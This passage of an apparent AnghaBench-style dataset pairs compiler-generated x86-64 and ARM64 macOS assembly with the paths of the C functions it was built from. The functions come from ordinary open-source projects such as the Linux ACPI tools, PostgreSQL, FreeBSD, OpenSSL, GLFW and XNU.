.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ap_is_valid_header ## -- Begin function ap_is_valid_header .p2align 4, 0x90 _ap_is_valid_header: ## @ap_is_valid_header .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq %rdi, %rbx movq 8(%rdi), %rdi callq _ACPI_VALIDATE_RSDP_SIG movq _TRUE@GOTPCREL(%rip), %r14 testl %eax, %eax jne LBB0_6 ## %bb.1: movq 8(%rbx), %rdi callq _acpi_ut_valid_nameseg testl %eax, %eax je LBB0_2 ## %bb.3: movl (%rbx), %edx cmpl $15, %edx ja LBB0_6 ## %bb.4: movq _stderr@GOTPCREL(%rip), %rax movl (%rax), %edi leaq L_.str.1(%rip), %rsi jmp LBB0_5 LBB0_2: movq _stderr@GOTPCREL(%rip), %rax movl (%rax), %edi movq 8(%rbx), %rax movl (%rax), %edx leaq L_.str(%rip), %rsi LBB0_5: callq _fprintf movq _FALSE@GOTPCREL(%rip), %r14 LBB0_6: movl (%r14), %eax popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .comm _stderr,4,2 ## @stderr .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Table signature (0x%8.8X) is invalid\n" .comm _FALSE,4,2 ## @FALSE L_.str.1: ## @.str.1 .asciz "Table length (0x%8.8X) is invalid\n" .comm _TRUE,4,2 ## @TRUE .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ap_is_valid_header ; -- Begin function ap_is_valid_header .p2align 2 _ap_is_valid_header: ; @ap_is_valid_header .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 ldr x0, [x0, #8] bl _ACPI_VALIDATE_RSDP_SIG cbz w0, LBB0_2 LBB0_1: Lloh0: adrp x8, _TRUE@GOTPAGE Lloh1: ldr x8, [x8, _TRUE@GOTPAGEOFF] b LBB0_7 LBB0_2: ldr x0, [x19, #8] bl _acpi_ut_valid_nameseg cbz w0, LBB0_5 ; %bb.3: ldr w2, [x19] cmp w2, #15 b.hi LBB0_1 ; %bb.4: Lloh2: adrp x8, _stderr@GOTPAGE Lloh3: ldr x8, [x8, _stderr@GOTPAGEOFF] Lloh4: ldr w0, [x8] Lloh5: adrp x1, l_.str.1@PAGE Lloh6: add x1, x1, l_.str.1@PAGEOFF b LBB0_6 LBB0_5: Lloh7: adrp x8, _stderr@GOTPAGE Lloh8: ldr x8, [x8, _stderr@GOTPAGEOFF] Lloh9: ldr w0, [x8] ldr x8, [x19, #8] ldr w2, [x8] Lloh10: adrp x1, l_.str@PAGE Lloh11: add x1, x1, l_.str@PAGEOFF LBB0_6: bl _fprintf Lloh12: adrp x8, _FALSE@GOTPAGE Lloh13: ldr x8, [x8, _FALSE@GOTPAGEOFF] LBB0_7: ldr w0, [x8] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpAdd Lloh5, Lloh6 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpAdd Lloh10, Lloh11 .loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9 .loh AdrpLdrGot Lloh12, Lloh13 .cfi_endproc ; -- End function .comm _stderr,4,2 ; @stderr .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Table signature (0x%8.8X) is invalid\n" .comm _FALSE,4,2 ; @FALSE l_.str.1: ; @.str.1 .asciz "Table length (0x%8.8X) is invalid\n" .comm _TRUE,4,2 ; @TRUE .subsections_via_symbols
AnghaBench/linux/tools/power/acpi/tools/acpidump/extr_apdump.c_ap_is_valid_header.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _StrategyFreeBuffer ## -- Begin function StrategyFreeBuffer .p2align 4, 0x90 _StrategyFreeBuffer: ## @StrategyFreeBuffer .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq %rdi, %rbx movq _StrategyControl@GOTPCREL(%rip), %r14 movq (%r14), %rdi addq $16, %rdi callq _SpinLockAcquire movq (%rbx), %rax movq _FREENEXT_NOT_IN_LIST@GOTPCREL(%rip), %rcx movq (%r14), %rdi cmpq (%rcx), %rax jne LBB0_4 ## %bb.1: movq (%rdi), %rcx movq %rcx, (%rbx) movq 8(%rbx), %rax testq %rcx, %rcx jns LBB0_3 ## %bb.2: movq %rax, 8(%rdi) LBB0_3: movq %rax, (%rdi) LBB0_4: addq $16, %rdi popq %rbx popq %r14 popq %rbp jmp _SpinLockRelease ## TAILCALL .cfi_endproc ## -- End function .comm _StrategyControl,8,3 ## @StrategyControl .comm _FREENEXT_NOT_IN_LIST,8,3 ## @FREENEXT_NOT_IN_LIST .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _StrategyFreeBuffer ; -- Begin function StrategyFreeBuffer .p2align 2 _StrategyFreeBuffer: ; @StrategyFreeBuffer .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 Lloh0: adrp x20, _StrategyControl@GOTPAGE Lloh1: ldr x20, [x20, _StrategyControl@GOTPAGEOFF] ldr x8, [x20] add x0, x8, #16 bl _SpinLockAcquire ldr x9, [x19] Lloh2: adrp x8, _FREENEXT_NOT_IN_LIST@GOTPAGE Lloh3: ldr x8, [x8, _FREENEXT_NOT_IN_LIST@GOTPAGEOFF] Lloh4: ldr x10, [x8] ldr x8, [x20] cmp x9, x10 b.ne LBB0_4 ; %bb.1: ldr x10, [x8] str x10, [x19] ldr x9, [x19, #8] tbz x10, #63, LBB0_3 ; %bb.2: str x9, [x8, #8] LBB0_3: str x9, [x8] LBB0_4: add x0, x8, #16 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _SpinLockRelease .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _StrategyControl,8,3 ; @StrategyControl .comm _FREENEXT_NOT_IN_LIST,8,3 ; @FREENEXT_NOT_IN_LIST .subsections_via_symbols
AnghaBench/postgres/src/backend/storage/buffer/extr_freelist.c_StrategyFreeBuffer.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function rpm_reg_probe _rpm_reg_probe: ## @rpm_reg_probe .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %r13 xorps %xmm0, %xmm0 movaps %xmm0, -64(%rbp) movl (%rdi), %edi callq _dev_get_drvdata testq %rax, %rax je LBB0_6 ## %bb.1: movq %rax, %r15 movq _rpm_of_match@GOTPCREL(%rip), %rax movl (%rax), %edi movq %r13, %rsi callq _of_match_device testq %rax, %rax je LBB0_7 ## %bb.2: movq (%rax), %r12 xorl %r14d, %r14d cmpq $0, (%r12) je LBB0_10 .p2align 4, 0x90 LBB0_3: ## =>This Inner Loop Header: Depth=1 movq _GFP_KERNEL@GOTPCREL(%rip), %rax movl (%rax), %edx movq %r13, %rdi movl $64, %esi callq _devm_kzalloc testq %rax, %rax je LBB0_11 ## %bb.4: ## in Loop: Header=BB0_3 Depth=1 movq %rax, %rbx movq %r13, 56(%rax) movl 20(%r12), %eax movl %eax, 52(%rbx) movl 16(%r12), %eax movl %eax, 48(%rbx) movq %r15, 40(%rbx) movl 12(%r12), %esi movq %rbx, %rdi movl $40, %edx callq _memcpy movl $-1, (%rbx) movq _THIS_MODULE@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, 36(%rbx) movq _REGULATOR_VOLTAGE@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, 32(%rbx) movq (%r12), %rax movq %rax, 24(%rbx) movl 8(%r12), %ecx movl %ecx, 16(%rbx) movq %rax, 8(%rbx) movq %r13, -56(%rbp) movq %rbx, -64(%rbp) movq %r13, %rdi movq %rbx, %rsi leaq -64(%rbp), %rdx callq _devm_regulator_register movq %rax, %rbx movq %rax, %rdi callq _IS_ERR testq %rax, %rax jne LBB0_12 ## %bb.5: ## in Loop: Header=BB0_3 Depth=1 cmpq $0, 24(%r12) leaq 24(%r12), %r12 jne LBB0_3 jmp LBB0_10 LBB0_6: leaq L_.str(%rip), %rsi jmp LBB0_8 LBB0_7: leaq L_.str.1(%rip), %rsi LBB0_8: xorl %r14d, %r14d movq %r13, %rdi xorl %eax, %eax callq _dev_err movq _ENODEV@GOTPCREL(%rip), %rax LBB0_9: subl (%rax), %r14d LBB0_10: movl %r14d, %eax addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_11: movq _ENOMEM@GOTPCREL(%rip), %rax xorl %r14d, %r14d jmp LBB0_9 LBB0_12: movq (%r12), %rdx leaq L_.str.2(%rip), %rsi movq %r13, %rdi xorl %eax, %eax callq _dev_err movq %rbx, %rdi callq _PTR_ERR movl %eax, %r14d jmp LBB0_10 .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "unable to retrieve handle to rpm\n" .comm _ENODEV,4,2 ## @ENODEV .comm _rpm_of_match,4,2 ## @rpm_of_match L_.str.1: ## @.str.1 .asciz "failed to match device\n" .comm _GFP_KERNEL,4,2 ## @GFP_KERNEL .comm _ENOMEM,4,2 ## @ENOMEM .comm _THIS_MODULE,4,2 ## @THIS_MODULE .comm _REGULATOR_VOLTAGE,4,2 ## @REGULATOR_VOLTAGE L_.str.2: ## @.str.2 .asciz "failed to register %s\n" .no_dead_strip _rpm_reg_probe .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function rpm_reg_probe _rpm_reg_probe: ; @rpm_reg_probe .cfi_startproc ; %bb.0: sub sp, sp, #112 .cfi_def_cfa_offset 112 stp x26, x25, [sp, #32] ; 16-byte Folded Spill stp x24, x23, [sp, #48] ; 16-byte Folded Spill stp x22, x21, [sp, #64] ; 16-byte Folded Spill stp x20, x19, [sp, #80] ; 16-byte Folded Spill stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 mov x19, x0 stp xzr, xzr, [sp, #16] ldr w0, [x0] bl _dev_get_drvdata cbz x0, LBB0_8 ; %bb.1: mov x20, x0 Lloh0: adrp x8, _rpm_of_match@GOTPAGE Lloh1: ldr x8, [x8, _rpm_of_match@GOTPAGEOFF] Lloh2: ldr w0, [x8] mov x1, x19 bl _of_match_device cbz x0, LBB0_9 ; %bb.2: ldr x22, [x0] ldr x8, [x22] cbz x8, LBB0_7 ; %bb.3: Lloh3: adrp x23, _GFP_KERNEL@GOTPAGE Lloh4: ldr x23, [x23, _GFP_KERNEL@GOTPAGEOFF] mov w24, #-1 Lloh5: adrp x25, _THIS_MODULE@GOTPAGE Lloh6: ldr x25, [x25, _THIS_MODULE@GOTPAGEOFF] Lloh7: adrp x26, _REGULATOR_VOLTAGE@GOTPAGE Lloh8: ldr x26, [x26, _REGULATOR_VOLTAGE@GOTPAGEOFF] LBB0_4: ; =>This Inner Loop Header: Depth=1 ldr w2, [x23] mov x0, x19 mov w1, #64 bl _devm_kzalloc cbz x0, LBB0_13 ; %bb.5: ; in Loop: Header=BB0_4 Depth=1 mov x21, x0 str x19, [x0, #56] ldr d0, [x22, #16] str d0, [x0, #48] str x20, [x0, #40] ldr w1, [x22, #12] mov w2, #40 bl _memcpy str w24, [x21] ldr w8, [x25] ldr w9, [x26] stp w9, w8, [x21, #32] ldr x8, [x22] str x8, [x21, #24] ldr w9, [x22, #8] str w9, [x21, #16] str x8, [x21, #8] stp x21, x19, [sp, #16] add x2, sp, #16 mov x0, x19 mov x1, x21 bl _devm_regulator_register mov x21, x0 bl _IS_ERR cbnz x0, LBB0_14 ; %bb.6: ; in Loop: Header=BB0_4 Depth=1 ldr x8, [x22, #24]! cbnz x8, LBB0_4 LBB0_7: mov w0, #0 b LBB0_12 LBB0_8: Lloh9: adrp x1, l_.str@PAGE Lloh10: add x1, x1, l_.str@PAGEOFF b LBB0_10 LBB0_9: Lloh11: adrp x1, l_.str.1@PAGE Lloh12: add x1, x1, l_.str.1@PAGEOFF LBB0_10: mov x0, x19 bl _dev_err Lloh13: adrp x8, _ENODEV@GOTPAGE Lloh14: ldr x8, [x8, _ENODEV@GOTPAGEOFF] LBB0_11: ldr w8, [x8] neg w0, w8 LBB0_12: ldp x29, x30, [sp, #96] ; 16-byte Folded Reload ldp x20, x19, [sp, #80] ; 16-byte Folded Reload ldp x22, x21, [sp, #64] ; 16-byte Folded Reload ldp x24, x23, [sp, #48] ; 16-byte Folded Reload ldp x26, x25, [sp, #32] ; 16-byte Folded Reload add sp, sp, #112 ret LBB0_13: Lloh15: adrp x8, _ENOMEM@GOTPAGE Lloh16: ldr x8, [x8, _ENOMEM@GOTPAGEOFF] b LBB0_11 LBB0_14: ldr x8, [x22] str x8, [sp] Lloh17: adrp x1, l_.str.2@PAGE Lloh18: add x1, x1, l_.str.2@PAGEOFF mov x0, x19 bl _dev_err mov x0, x21 bl _PTR_ERR b LBB0_12 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGot Lloh7, Lloh8 .loh AdrpLdrGot Lloh5, Lloh6 .loh AdrpLdrGot Lloh3, Lloh4 .loh AdrpAdd Lloh9, Lloh10 .loh AdrpAdd Lloh11, Lloh12 .loh AdrpLdrGot Lloh13, Lloh14 .loh AdrpLdrGot Lloh15, Lloh16 .loh AdrpAdd Lloh17, Lloh18 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "unable to retrieve handle to rpm\n" .comm _ENODEV,4,2 ; @ENODEV .comm _rpm_of_match,4,2 ; @rpm_of_match l_.str.1: ; @.str.1 .asciz "failed to match device\n" .comm _GFP_KERNEL,4,2 ; @GFP_KERNEL .comm _ENOMEM,4,2 ; @ENOMEM .comm _THIS_MODULE,4,2 ; @THIS_MODULE .comm _REGULATOR_VOLTAGE,4,2 ; @REGULATOR_VOLTAGE l_.str.2: ; @.str.2 .asciz "failed to register %s\n" .no_dead_strip _rpm_reg_probe .subsections_via_symbols
AnghaBench/linux/drivers/regulator/extr_qcom_smd-regulator.c_rpm_reg_probe.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _lio_free_sgmbuf ## -- Begin function lio_free_sgmbuf .p2align 4, 0x90 _lio_free_sgmbuf: ## @lio_free_sgmbuf .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %r14 movq %rdi, %r15 movq 8(%rsi), %r12 movslq 16(%rdi), %rbx movq 8(%rdi), %rax movl (%rax), %edi callq _if_getsoftc movq %rax, %r13 shlq $2, %rbx movq (%rax), %rdi addq %rbx, %rdi callq _mtx_lock movq 8(%r13), %rdi addq %rbx, %rdi movq _entries@GOTPCREL(%rip), %rax movl (%rax), %edx movq %r12, %rsi callq _STAILQ_INSERT_TAIL addq (%r13), %rbx movq %rbx, %rdi callq _mtx_unlock movl (%r15), %edi movl 4(%r14), %esi movq _BUS_DMASYNC_POSTWRITE@GOTPCREL(%rip), %rax movl (%rax), %edx callq _bus_dmamap_sync movl (%r15), %edi movl 4(%r14), %esi callq _bus_dmamap_unload movl (%r14), %edi addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _m_freem ## TAILCALL .cfi_endproc ## -- End function .comm _entries,4,2 ## @entries .comm _BUS_DMASYNC_POSTWRITE,4,2 ## @BUS_DMASYNC_POSTWRITE .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _lio_free_sgmbuf ; -- Begin function lio_free_sgmbuf .p2align 2 _lio_free_sgmbuf: ; @lio_free_sgmbuf .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x1 mov x20, x0 ldr x21, [x1, #8] ldrsw x23, [x0, #16] ldr x8, [x0, #8] ldr w0, [x8] bl _if_getsoftc mov x22, x0 ldr x8, [x0] lsl x23, x23, #2 add x0, x8, x23 bl _mtx_lock ldr x8, [x22, #8] add x0, x8, x23 Lloh0: adrp x8, _entries@GOTPAGE Lloh1: ldr x8, [x8, _entries@GOTPAGEOFF] Lloh2: ldr w2, [x8] mov x1, x21 bl _STAILQ_INSERT_TAIL ldr x8, [x22] add x0, x8, x23 bl _mtx_unlock ldr w0, [x20] ldr w1, [x19, #4] Lloh3: adrp x8, _BUS_DMASYNC_POSTWRITE@GOTPAGE Lloh4: ldr x8, [x8, _BUS_DMASYNC_POSTWRITE@GOTPAGEOFF] Lloh5: ldr w2, [x8] bl _bus_dmamap_sync ldr w0, [x20] ldr w1, [x19, #4] bl _bus_dmamap_unload ldr w0, [x19] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload b _m_freem .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _entries,4,2 ; @entries .comm _BUS_DMASYNC_POSTWRITE,4,2 ; @BUS_DMASYNC_POSTWRITE .subsections_via_symbols
AnghaBench/freebsd/sys/dev/liquidio/extr_lio_main.c_lio_free_sgmbuf.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _SSL_CTX_get_ex_data ## -- Begin function SSL_CTX_get_ex_data .p2align 4, 0x90 _SSL_CTX_get_ex_data: ## @SSL_CTX_get_ex_data .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp popq %rbp jmp _CRYPTO_get_ex_data ## TAILCALL .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _SSL_CTX_get_ex_data ; -- Begin function SSL_CTX_get_ex_data .p2align 2 _SSL_CTX_get_ex_data: ; @SSL_CTX_get_ex_data .cfi_startproc ; %bb.0: b _CRYPTO_get_ex_data .cfi_endproc ; -- End function .subsections_via_symbols
AnghaBench/freebsd/crypto/openssl/ssl/extr_ssl_lib.c_SSL_CTX_get_ex_data.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _hinic_rxq_clean_stats ## -- Begin function hinic_rxq_clean_stats .p2align 4, 0x90 _hinic_rxq_clean_stats: ## @hinic_rxq_clean_stats .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq %rdi, %rbx callq _u64_stats_update_begin xorps %xmm0, %xmm0 movups %xmm0, 8(%rbx) movups %xmm0, 24(%rbx) movq $0, 40(%rbx) movq %rbx, %rdi addq $8, %rsp popq %rbx popq %rbp jmp _u64_stats_update_end ## TAILCALL .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _hinic_rxq_clean_stats ; -- Begin function hinic_rxq_clean_stats .p2align 2 _hinic_rxq_clean_stats: ; @hinic_rxq_clean_stats .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 bl _u64_stats_update_begin movi.2d v0, #0000000000000000 stur q0, [x19, #8] stur q0, [x19, #24] str xzr, [x19, #40] mov x0, x19 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _u64_stats_update_end .cfi_endproc ; -- End function .subsections_via_symbols
AnghaBench/linux/drivers/net/ethernet/huawei/hinic/extr_hinic_rx.c_hinic_rxq_clean_stats.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _workshop_connection_closed ## -- Begin function workshop_connection_closed .p2align 4, 0x90 _workshop_connection_closed: ## @workshop_connection_closed .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq _inputHandler@GOTPCREL(%rip), %rbx movq (%rbx), %rdi callq _XtRemoveInput movq $0, (%rbx) movq _sd@GOTPCREL(%rip), %rax movl $-1, (%rax) addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .comm _inputHandler,8,3 ## @inputHandler .comm _sd,4,2 ## @sd .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _workshop_connection_closed ; -- Begin function workshop_connection_closed .p2align 2 _workshop_connection_closed: ; @workshop_connection_closed .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 Lloh0: adrp x19, _inputHandler@GOTPAGE Lloh1: ldr x19, [x19, _inputHandler@GOTPAGEOFF] ldr x0, [x19] bl _XtRemoveInput str xzr, [x19] Lloh2: adrp x8, _sd@GOTPAGE Lloh3: ldr x8, [x8, _sd@GOTPAGEOFF] mov w9, #-1 Lloh4: str w9, [x8] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGotStr Lloh2, Lloh3, Lloh4 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _inputHandler,8,3 ; @inputHandler .comm _sd,4,2 ; @sd .subsections_via_symbols
AnghaBench/vim.js/src/extr_integration.c_workshop_connection_closed.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _on_load_clicked ## -- Begin function on_load_clicked .p2align 4, 0x90 _on_load_clicked: ## @on_load_clicked .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp xorl %edi, %edi popq %rbp jmp _on_load1_activate ## TAILCALL .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _on_load_clicked ; -- Begin function on_load_clicked .p2align 2 _on_load_clicked: ; @on_load_clicked .cfi_startproc ; %bb.0: mov x0, #0 b _on_load1_activate .cfi_endproc ; -- End function .subsections_via_symbols
AnghaBench/esp-idf/tools/kconfig/extr_gconf.c_on_load_clicked.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl __glfwInputJoystickChange ## -- Begin function _glfwInputJoystickChange .p2align 4, 0x90 __glfwInputJoystickChange: ## @_glfwInputJoystickChange .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq __glfw@GOTPCREL(%rip), %rax movq (%rax), %rax testq %rax, %rax je LBB0_1 ## %bb.2: popq %rbp jmpq *%rax ## TAILCALL LBB0_1: popq %rbp retq .cfi_endproc ## -- End function .comm __glfw,8,3 ## @_glfw .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl __glfwInputJoystickChange ; -- Begin function _glfwInputJoystickChange .p2align 2 __glfwInputJoystickChange: ; @_glfwInputJoystickChange .cfi_startproc ; %bb.0: Lloh0: adrp x8, __glfw@GOTPAGE Lloh1: ldr x8, [x8, __glfw@GOTPAGEOFF] Lloh2: ldr x2, [x8] cbz x2, LBB0_2 ; %bb.1: br x2 LBB0_2: ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm __glfw,8,3 ; @_glfw .subsections_via_symbols
AnghaBench/Cinder/src/glfw/src/extr_input.c__glfwInputJoystickChange.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _machine_signal_idle ## -- Begin function machine_signal_idle .p2align 4, 0x90 _machine_signal_idle: ## @machine_signal_idle .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl (%rdi), %edi popq %rbp jmp _cpu_interrupt ## TAILCALL .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _machine_signal_idle ; -- Begin function machine_signal_idle .p2align 2 _machine_signal_idle: ; @machine_signal_idle .cfi_startproc ; %bb.0: ldr w0, [x0] b _cpu_interrupt .cfi_endproc ; -- End function .subsections_via_symbols
AnghaBench/darwin-xnu/osfmk/i386/extr_machine_routines.c_machine_signal_idle.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _check_base ## -- Begin function check_base .p2align 4, 0x90 _check_base: ## @check_base .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp xorl %ecx, %ecx movabsq $43984760094208, %r8 ## imm = 0x280100003E00 jmp LBB0_1 .p2align 4, 0x90 LBB0_10: ## in Loop: Header=BB0_1 Depth=1 incq %rcx LBB0_1: ## =>This Loop Header: Depth=1 ## Child Loop BB0_7 Depth 2 movzbl (%rdi,%rcx), %edx cmpq $45, %rdx ja LBB0_4 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 btq %rdx, %r8 jb LBB0_9 ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 testq %rdx, %rdx je LBB0_11 LBB0_4: ## in Loop: Header=BB0_1 Depth=1 movb (%rdi), %al testb %al, %al je LBB0_10 ## %bb.5: ## in Loop: Header=BB0_1 Depth=1 xorl %esi, %esi jmp LBB0_7 .p2align 4, 0x90 LBB0_6: ## in Loop: Header=BB0_7 Depth=2 movzbl 1(%rdi,%rsi), %eax incq %rsi testb %al, %al je LBB0_10 LBB0_7: ## Parent Loop BB0_1 Depth=1 ## => This Inner Loop Header: Depth=2 cmpq %rsi, %rcx je LBB0_6 ## %bb.8: ## in Loop: Header=BB0_7 Depth=2 cmpb %dl, %al jne LBB0_6 LBB0_9: xorl %eax, %eax popq %rbp retq LBB0_11: xorl %eax, %eax testl $-2, %ecx setne %al popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__literal16,16byte_literals .p2align 4 ## -- Begin function 